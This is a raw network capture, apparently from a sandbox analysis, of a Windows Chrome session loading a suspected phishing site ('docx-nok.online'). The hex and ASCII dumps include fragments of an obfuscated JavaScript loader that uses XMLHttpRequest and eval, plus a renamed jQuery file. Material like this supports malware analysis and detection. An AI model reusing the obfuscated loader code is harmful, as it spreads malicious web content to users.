2024-04-19 15:01:51 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (chd/079C) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Cache-Control: public, max-age=144090 Date: Fri, 19 Apr 2024 15:01:51 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.18	49727	184.31.62.93	443

Timestamp	Bytes transferred	Direction	Data
2024-04-19 15:01:51 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-04-19 15:01:51 UTC	805	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (chd/0778) X-CID: 11 X-CCC: US X-Azure-Ref-OriginShield: Ref A: 52EA27DBDE0C4533B819423583F6692E Ref B: CH1AA2040902052 Ref C: 2023-07-09T23:10:08Z X-MSEdge-Ref: Ref A: 528BB8D443C042AA9AEA4EC3F75C7762 Ref B: CHI30EDGE0111 Ref C: 2023-07-09T23:11:11Z Content-Type: application/octet-stream X-Azure-Ref: 01uvbYwAAAACkqWtaEMjWQL/4cpisZkorTUVNMzBFREdFMDgxMQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=144111 Date: Fri, 19 Apr 2024 15:01:51 GMT Content-Length: 55 Connection: close X-CID: 2
2024-04-19 15:01:51 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.18	49728	172.67.179.148	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 15:01:51 UTC	1387	OUT	GET /d740c10c7b9cf800d441f265844201e16622875f9f709LOGd740c10c7b9cf800d441f265844201e16622875f9f70a HTTP/1.1 Host: docx-nok.online Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-full-version: "117.0.5938.149" sec-ch-ua-arch: "x86" sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" sec-ch-ua-bitness: "64" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149" Referer: https://docx-nok.online/?__cf_chl_tk=dEnNWMoT1RjGZ5uDzVvh52lnn28exGDs8jACx.clUzY-1713538901-0.0.1.1-1557 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=Wrb8b9hUuaTrW4yTaY1qm7wgD6rYObBPb9off_hHPhU-1713538901-1.0.1.1-mcOLeJKXeF6sKt7XKo1vnxq7ubbEoyAsO1ZzOaB7K.UBYVEwlnB5wT6ilXI9y56.ucqluE5SaOv9utw8fRgZ1A; PHPSESSID=3caf9fba09da43ac153673133b588c21
2024-04-19 15:01:52 UTC	628	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 15:01:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YpGKrisSDKZSAbWdXOkhhLLOYvFUQ6QhA5BLv3c5HBupve0HTktHIkEz7iokGGvCTnk1anhzTxQRrT4US%2FUWvX1X7dTutzLfb5vaZL3x4GWfmCvx8m02Sb%2BHpySU%2Bjs1JFs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 876dc5b84ac2ada4-ATL alt-svc: h3=":443"; ma=86400
2024-04-19 15:01:52 UTC	741	IN	Data Raw: 31 31 37 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 6a 71 2f 30 61 36 30 39 35 63 66 38 33 31 32 34 31 34 36 62 64 62 66 66 32 38 62 66 32 34 37 30 66 31 35 36 36 32 32 38 37 36 30 34 64 31 31 66 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 Data Ascii: 1170<!DOCTYPE html><html><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title></title> <script src="jq/0a6095cf83124146bdbff28bf2470f15662287604d11f"></script> <script sr
2024-04-19 15:01:52 UTC	1369	IN	Data Raw: 70 61 72 73 65 49 6e 74 28 4b 28 27 30 78 31 34 33 27 29 29 2f 30 78 37 2b 70 61 72 73 65 49 6e 74 28 4b 28 30 78 31 35 62 29 29 2f 30 78 38 2a 28 70 61 72 73 65 49 6e 74 28 4b 28 27 30 78 31 38 30 27 29 29 2f 30 78 39 29 3b 69 66 28 58 3d 3d 3d 54 29 62 72 65 61 6b 3b 65 6c 73 65 20 53 5b 27 70 75 73 68 27 5d 28 53 5b 27 73 68 69 66 74 27 5d 28 29 29 3b 7d 63 61 74 63 68 28 79 29 7b 53 5b 27 70 75 73 68 27 5d 28 53 5b 27 73 68 69 66 74 27 5d 28 29 29 3b 7d 7d 7d 28 49 2c 30 78 36 64 65 66 31 29 29 3b 76 61 72 20 47 3d 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 71 3d 21 21 5b 5d 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 54 2c 53 29 7b 76 61 72 20 58 3d 71 3f 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 72 3b 69 66 28 53 29 7b 76 61 72 Data Ascii: parseInt(K('0x143'))/0x7+parseInt(K(0x15b))/0x8*(parseInt(K('0x180'))/0x9);if(X===T)break;else S['push'](S['shift']());}catch(y){S['push'](S['shift']());}}}(I,0x6def1));var G=(function(){var q=!![];return function(T,S){var X=q?function(){var t=r;if(S){var
2024-04-19 15:01:52 UTC	1369	IN	Data Raw: 78 31 35 35 29 5d 3b 79 2b 2b 29 7b 76 61 72 20 57 3d 66 5b 6d 28 27 30 78 31 34 63 27 29 5d 5b 6d 28 30 78 31 34 30 29 5d 5b 6d 28 30 78 31 36 66 29 5d 28 66 29 2c 45 3d 58 5b 79 5d 2c 6e 3d 53 5b 45 5d 7c 7c 57 3b 57 5b 6d 28 27 30 78 31 34 39 27 29 5d 3d 66 5b 6d 28 27 30 78 31 36 66 27 29 5d 28 66 29 2c 57 5b 6d 28 30 78 31 35 64 29 5d 3d 6e 5b 6d 28 30 78 31 35 64 29 5d 5b 6d 28 27 30 78 31 36 66 27 29 5d 28 6e 29 2c 53 5b 45 5d 3d 57 3b 7d 7d 29 3b 56 28 29 3b 76 61 72 20 78 68 74 74 70 3d 6e 65 77 20 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 28 29 3b 66 75 6e 63 74 69 6f 6e 20 49 28 29 7b 76 61 72 20 67 3d 5b 27 62 69 6e 64 27 2c 27 6c 69 6e 6b 27 2c 27 63 68 61 69 6e 27 2c 27 32 71 6e 46 73 54 77 27 2c 27 72 65 73 70 6f 6e 73 65 54 65 78 74 27 2c Data Ascii: x155)];y++){var W=f[m('0x14c')][m(0x140)][m(0x16f)](f),E=X[y],n=S[E]\|\|W;W[m('0x149')]=f[m('0x16f')](f),W[m(0x15d)]=n[m(0x15d)][m('0x16f')](n),S[E]=W;}});V();var xhttp=new XMLHttpRequest();function I(){var g=['bind','link','chain','2qnFsTw','responseText',
2024-04-19 15:01:52 UTC	993	IN	Data Raw: 76 61 72 20 79 3d 30 78 30 3b 79 3c 53 5b 63 28 27 30 78 31 35 35 27 29 5d 3b 79 2b 2b 29 7b 76 61 72 20 57 3d 53 5b 79 5d 5b 63 28 27 30 78 31 34 36 27 29 5d 28 63 28 30 78 31 35 39 29 29 3b 57 3f 58 5b 63 28 27 30 78 31 36 35 27 29 5d 28 57 29 3a 65 76 61 6c 28 53 5b 79 5d 5b 63 28 30 78 31 34 62 29 5d 29 3b 7d 76 61 72 20 45 3d 54 5b 63 28 30 78 31 36 64 29 5d 28 63 28 30 78 31 37 30 29 29 3b 66 6f 72 28 76 61 72 20 79 3d 30 78 30 3b 79 3c 45 5b 63 28 27 30 78 31 35 35 27 29 5d 3b 79 2b 2b 29 7b 76 61 72 20 6e 3d 45 5b 79 5d 5b 63 28 27 30 78 31 34 36 27 29 5d 28 63 28 30 78 31 35 61 29 29 3b 69 66 28 6e 26 26 6e 5b 63 28 27 30 78 31 37 64 27 29 5d 28 63 28 30 78 31 35 30 29 29 29 7b 76 61 72 20 75 3d 64 6f 63 75 6d 65 6e 74 5b 63 28 27 30 78 31 37 39 Data Ascii: var y=0x0;y<S[c('0x155')];y++){var W=S[y][c('0x146')](c(0x159));W?X[c('0x165')](W):eval(S[y][c(0x14b)]);}var E=T[c(0x16d)](c(0x170));for(var y=0x0;y<E[c('0x155')];y++){var n=E[y][c('0x146')](c(0x15a));if(n&&n[c('0x17d')](c(0x150))){var u=document[c('0x179
2024-04-19 15:01:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.18	49729	172.67.179.148	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 15:01:52 UTC	1144	OUT	GET /jq/0a6095cf83124146bdbff28bf2470f15662287604d11f HTTP/1.1 Host: docx-nok.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.149" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://docx-nok.online/d740c10c7b9cf800d441f265844201e16622875f9f709LOGd740c10c7b9cf800d441f265844201e16622875f9f70a Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=Wrb8b9hUuaTrW4yTaY1qm7wgD6rYObBPb9off_hHPhU-1713538901-1.0.1.1-mcOLeJKXeF6sKt7XKo1vnxq7ubbEoyAsO1ZzOaB7K.UBYVEwlnB5wT6ilXI9y56.ucqluE5SaOv9utw8fRgZ1A; PHPSESSID=3caf9fba09da43ac153673133b588c21
2024-04-19 15:01:53 UTC	667	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 15:01:53 GMT Content-Type: text/javascript Transfer-Encoding: chunked Connection: close last-modified: Fri, 19 Apr 2024 14:16:40 GMT vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=md462dsmTcfQ3YuTL88q%2Fa%2Bt8eaIz5sbiZeow9LZLuIuMmS1KGCJcpwqn4Rr2sYsRIzN4F%2BtAKs8pAw%2BhrhTpqZ8UA8eeLqFr1K3BtlBdrKlKsUDGdi3K1TcjtBzJzJPMes%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 876dc5bd794c44f9-ATL alt-svc: h3=":443"; ma=86400
2024-04-19 15:01:53 UTC	702	IN	Data Raw: 37 64 31 34 0d 0a 2f 2a 21 20 6a 51 75 65 72 79 20 76 32 2e 32 2e 34 20 7c 20 28 63 29 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 61 2e 64 6f 63 75 6d 65 6e 74 3f 62 28 61 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 21 61 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 65 71 75 69 72 65 73 20 61 20 77 69 6e 64 6f 77 20 77 69 74 68 20 61 20 64 Data Ascii: 7d14/! jQuery v2.2.4 \| (c) jQuery Foundation \| jquery.org/license /!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a d
2024-04-19 15:01:53 UTC	1369	IN	Data Raw: 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 61 3f 30 3e 61 3f 74 68 69 73 5b 61 2b 74 68 69 73 2e 6c 65 6e 67 74 68 5d 3a 74 68 69 73 5b 61 5d 3a 65 2e 63 61 6c 6c 28 74 68 69 73 29 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 6e 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 61 29 3b 72 65 74 75 72 6e 20 62 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 62 2e 63 6f 6e 74 65 78 74 3d 74 68 69 73 2e 63 6f 6e 74 65 78 74 2c 62 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 2e 65 61 63 68 28 74 68 69 73 2c 61 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 74 68 69 73 Data Ascii: },get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this
2024-04-19 15:01:53 UTC	1369	IN	Data Raw: 26 26 61 2e 74 6f 53 74 72 69 6e 67 28 29 3b 72 65 74 75 72 6e 21 6e 2e 69 73 41 72 72 61 79 28 61 29 26 26 62 2d 70 61 72 73 65 46 6c 6f 61 74 28 62 29 2b 31 3e 3d 30 7d 2c 69 73 50 6c 61 69 6e 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3b 69 66 28 22 6f 62 6a 65 63 74 22 21 3d 3d 6e 2e 74 79 70 65 28 61 29 7c 7c 61 2e 6e 6f 64 65 54 79 70 65 7c 7c 6e 2e 69 73 57 69 6e 64 6f 77 28 61 29 29 72 65 74 75 72 6e 21 31 3b 69 66 28 61 2e 63 6f 6e 73 74 72 75 63 74 6f 72 26 26 21 6b 2e 63 61 6c 6c 28 61 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 21 6b 2e 63 61 6c 6c 28 61 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2e 70 72 6f 74 6f 74 79 70 65 7c 7c 7b 7d 2c 22 69 73 50 72 6f 74 6f 74 79 70 65 4f 66 22 29 29 72 65 74 75 72 6e 21 31 Data Ascii: &&a.toString();return!n.isArray(a)&&b-parseFloat(b)+1>=0},isPlainObject:function(a){var b;if("object"!==n.type(a)\|\|a.nodeType\|\|n.isWindow(a))return!1;if(a.constructor&&!k.call(a,"constructor")&&!k.call(a.constructor.prototype\|\|{},"isPrototypeOf"))return!1
2024-04-19 15:01:53 UTC	1369	IN	Data Raw: 61 5b 66 5d 29 3b 72 65 74 75 72 6e 20 65 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 76 61 72 20 64 2c 65 2c 67 3d 30 2c 68 3d 5b 5d 3b 69 66 28 73 28 61 29 29 66 6f 72 28 64 3d 61 2e 6c 65 6e 67 74 68 3b 64 3e 67 3b 67 2b 2b 29 65 3d 62 28 61 5b 67 5d 2c 67 2c 63 29 2c 6e 75 6c 6c 21 3d 65 26 26 68 2e 70 75 73 68 28 65 29 3b 65 6c 73 65 20 66 6f 72 28 67 20 69 6e 20 61 29 65 3d 62 28 61 5b 67 5d 2c 67 2c 63 29 2c 6e 75 6c 6c 21 3d 65 26 26 68 2e 70 75 73 68 28 65 29 3b 72 65 74 75 72 6e 20 66 2e 61 70 70 6c 79 28 5b 5d 2c 68 29 7d 2c 67 75 69 64 3a 31 2c 70 72 6f 78 79 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 2c 64 2c 66 3b 72 65 74 75 72 6e 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 62 26 26 28 63 3d 61 Data Ascii: a[f]);return e},map:function(a,b,c){var d,e,g=0,h=[];if(s(a))for(d=a.length;d>g;g++)e=b(a[g],g,c),null!=e&&h.push(e);else for(g in a)e=b(a[g],g,c),null!=e&&h.push(e);return f.apply([],h)},guid:1,proxy:function(a,b){var c,d,f;return"string"==typeof b&&(c=a
2024-04-19 15:01:53 UTC	1369	IN	Data Raw: 27 5d 29 2a 29 27 7c 5c 22 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 5c 22 5d 29 2a 29 5c 22 7c 28 22 2b 4d 2b 22 29 29 7c 29 22 2b 4c 2b 22 2a 5c 5c 5d 22 2c 4f 3d 22 3a 28 22 2b 4d 2b 22 29 28 3f 3a 5c 5c 28 28 28 27 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 27 5d 29 2a 29 27 7c 5c 22 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 5c 22 5d 29 2a 29 5c 22 29 7c 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 28 29 5b 5c 5c 5d 5d 7c 22 2b 4e 2b 22 29 2a 29 7c 2e 2a 29 5c 5c 29 7c 29 22 2c 50 3d 6e 65 77 20 52 65 67 45 78 70 28 4c 2b 22 2b 22 2c 22 67 22 29 2c 51 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4c 2b 22 2b 7c 28 28 3f 3a 5e 7c 5b 5e 5c 5c 5c 5c 5d 29 28 3f 3a 5c 5c 5c 5c 2e 29 2a 29 22 2b 4c 2b 22 2b 24 22 2c 22 67 22 29 2c 52 Data Ascii: ']))'\|\"((?:\\\\.\|[^\\\\\"]))\"\|("+M+"))\|)"+L+"\\]",O=":("+M+")(?:\$(('((?:\\\\.\|[^\\\\']))'\|\"((?:\\\\.\|[^\\\\\"]))\")\|((?:\\\\.\|[^\\\\()[\\]]\|"+N+"))\|.)\$\|)",P=new RegExp(L+"+","g"),Q=new RegExp("^"+L+"+\|((?:^\|[^\\\\])(?:\\\\.))"+L+"+$","g"),R
2024-04-19 15:01:53 UTC	1369	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 3d 61 2e 6c 65 6e 67 74 68 2c 64 3d 30 3b 77 68 69 6c 65 28 61 5b 63 2b 2b 5d 3d 62 5b 64 2b 2b 5d 29 3b 61 2e 6c 65 6e 67 74 68 3d 63 2d 31 7d 7d 7d 66 75 6e 63 74 69 6f 6e 20 66 61 28 61 2c 62 2c 64 2c 65 29 7b 76 61 72 20 66 2c 68 2c 6a 2c 6b 2c 6c 2c 6f 2c 72 2c 73 2c 77 3d 62 26 26 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2c 78 3d 62 3f 62 2e 6e 6f 64 65 54 79 70 65 3a 39 3b 69 66 28 64 3d 64 7c 7c 5b 5d 2c 22 73 74 72 69 6e 67 22 21 3d 74 79 70 65 6f 66 20 61 7c 7c 21 61 7c 7c 31 21 3d 3d 78 26 26 39 21 3d 3d 78 26 26 31 31 21 3d 3d 78 29 72 65 74 75 72 6e 20 64 3b 69 66 28 21 65 26 26 28 28 62 3f 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 3a 76 29 21 3d 3d 6e 26 26 6d 28 62 Data Ascii: :function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function fa(a,b,d,e){var f,h,j,k,l,o,r,s,w=b&&b.ownerDocument,x=b?b.nodeType:9;if(d=d\|\|[],"string"!=typeof a\|\|!a\|\|1!==x&&9!==x&&11!==x)return d;if(!e&&((b?b.ownerDocument\|\|b:v)!==n&&m(b
2024-04-19 15:01:53 UTC	1369	IN	Data Raw: 3d 61 2e 73 70 6c 69 74 28 22 7c 22 29 2c 65 3d 63 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 65 2d 2d 29 64 2e 61 74 74 72 48 61 6e 64 6c 65 5b 63 5b 65 5d 5d 3d 62 7d 66 75 6e 63 74 69 6f 6e 20 6b 61 28 61 2c 62 29 7b 76 61 72 20 63 3d 62 26 26 61 2c 64 3d 63 26 26 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 26 26 31 3d 3d 3d 62 2e 6e 6f 64 65 54 79 70 65 26 26 28 7e 62 2e 73 6f 75 72 63 65 49 6e 64 65 78 7c 7c 43 29 2d 28 7e 61 2e 73 6f 75 72 63 65 49 6e 64 65 78 7c 7c 43 29 3b 69 66 28 64 29 72 65 74 75 72 6e 20 64 3b 69 66 28 63 29 77 68 69 6c 65 28 63 3d 63 2e 6e 65 78 74 53 69 62 6c 69 6e 67 29 69 66 28 63 3d 3d 3d 62 29 72 65 74 75 72 6e 2d 31 3b 72 65 74 75 72 6e 20 61 3f 31 3a 2d 31 7d 66 75 6e 63 74 69 6f 6e 20 6c 61 28 61 29 7b 72 65 74 75 72 6e Data Ascii: =a.split("\|"),e=c.length;while(e--)d.attrHandle[c[e]]=b}function ka(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&(~b.sourceIndex\|\|C)-(~a.sourceIndex\|\|C);if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}function la(a){return
2024-04-19 15:01:53 UTC	1369	IN	Data Raw: 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 7c 7c 21 6e 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 28 75 29 2e 6c 65 6e 67 74 68 7d 29 2c 63 2e 67 65 74 42 79 49 64 3f 28 64 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 70 29 7b 76 61 72 20 63 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 61 29 3b 72 65 74 75 72 6e 20 63 3f 5b 63 5d 3a 5b 5d 7d 7d 2c 64 2e 66 69 6c 74 65 72 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 72 65 70 6c 61 63 65 28 62 61 2c 63 61 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 67 65 74 41 74 74 72 69 Data Ascii: ElementsByName\|\|!n.getElementsByName(u).length}),c.getById?(d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a);return c?[c]:[]}},d.filter.ID=function(a){var b=a.replace(ba,ca);return function(a){return a.getAttri
2024-04-19 15:01:53 UTC	1369	IN	Data Raw: 61 23 22 2b 75 2b 22 2b 2a 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 2e 23 2e 2b 5b 2b 7e 5d 22 29 7d 29 2c 69 61 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 6e 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 6e 70 75 74 22 29 3b 62 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 79 70 65 22 2c 22 68 69 64 64 65 6e 22 29 2c 61 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 62 29 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 6e 61 6d 65 22 2c 22 44 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 6e 61 6d 65 3d 64 5d 22 29 2e 6c 65 6e 67 74 68 26 26 71 2e 70 75 73 68 28 22 6e 61 6d 65 22 2b 4c 2b 22 2a 5b 2a 5e 24 7c 21 7e 5d 3f 3d 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 65 6e 61 Data Ascii: a#"+u+"+").length\|\|q.push(".#.+[+~]")}),ia(function(a){var b=n.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+L+"[*^$\|!~]?="),a.querySelectorAll(":ena
2024-04-19 15:01:53 UTC	1369	IN	Data Raw: 4e 6f 64 65 2c 66 3d 62 2e 70 61 72 65 6e 74 4e 6f 64 65 2c 67 3d 5b 61 5d 2c 68 3d 5b 62 5d 3b 69 66 28 21 65 7c 7c 21 66 29 72 65 74 75 72 6e 20 61 3d 3d 3d 6e 3f 2d 31 3a 62 3d 3d 3d 6e 3f 31 3a 65 3f 2d 31 3a 66 3f 31 3a 6b 3f 4a 28 6b 2c 61 29 2d 4a 28 6b 2c 62 29 3a 30 3b 69 66 28 65 3d 3d 3d 66 29 72 65 74 75 72 6e 20 6b 61 28 61 2c 62 29 3b 63 3d 61 3b 77 68 69 6c 65 28 63 3d 63 2e 70 61 72 65 6e 74 4e 6f 64 65 29 67 2e 75 6e 73 68 69 66 74 28 63 29 3b 63 3d 62 3b 77 68 69 6c 65 28 63 3d 63 2e 70 61 72 65 6e 74 4e 6f 64 65 29 68 2e 75 6e 73 68 69 66 74 28 63 29 3b 77 68 69 6c 65 28 67 5b 64 5d 3d 3d 3d 68 5b 64 5d 29 64 2b 2b 3b 72 65 74 75 72 6e 20 64 3f 6b 61 28 67 5b 64 5d 2c 68 5b 64 5d 29 3a 67 5b 64 5d 3d 3d 3d 76 3f 2d 31 3a 68 5b 64 5d 3d Data Ascii: Node,f=b.parentNode,g=[a],h=[b];if(!e\|\|!f)return a===n?-1:b===n?1:e?-1:f?1:k?J(k,a)-J(k,b):0;if(e===f)return ka(a,b);c=a;while(c=c.parentNode)g.unshift(c);c=b;while(c=c.parentNode)h.unshift(c);while(g[d]===h[d])d++;return d?ka(g[d],h[d]):g[d]===v?-1:h[d]=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
